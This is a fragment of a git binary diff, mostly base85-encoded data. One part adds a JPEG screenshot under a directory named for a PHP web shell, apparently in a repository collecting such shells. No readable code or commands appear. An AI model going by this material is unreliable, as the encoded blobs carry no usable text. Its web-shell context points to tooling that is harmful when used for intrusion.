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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/PHP Shell/PHP Shell3.jpg b/php/PHPshell/PHP Shell/PHP Shell3.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b66fa6e3e4d7d1e3e2a21e63a4a0e3829d87a7a3 GIT binary patch literal 27150 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 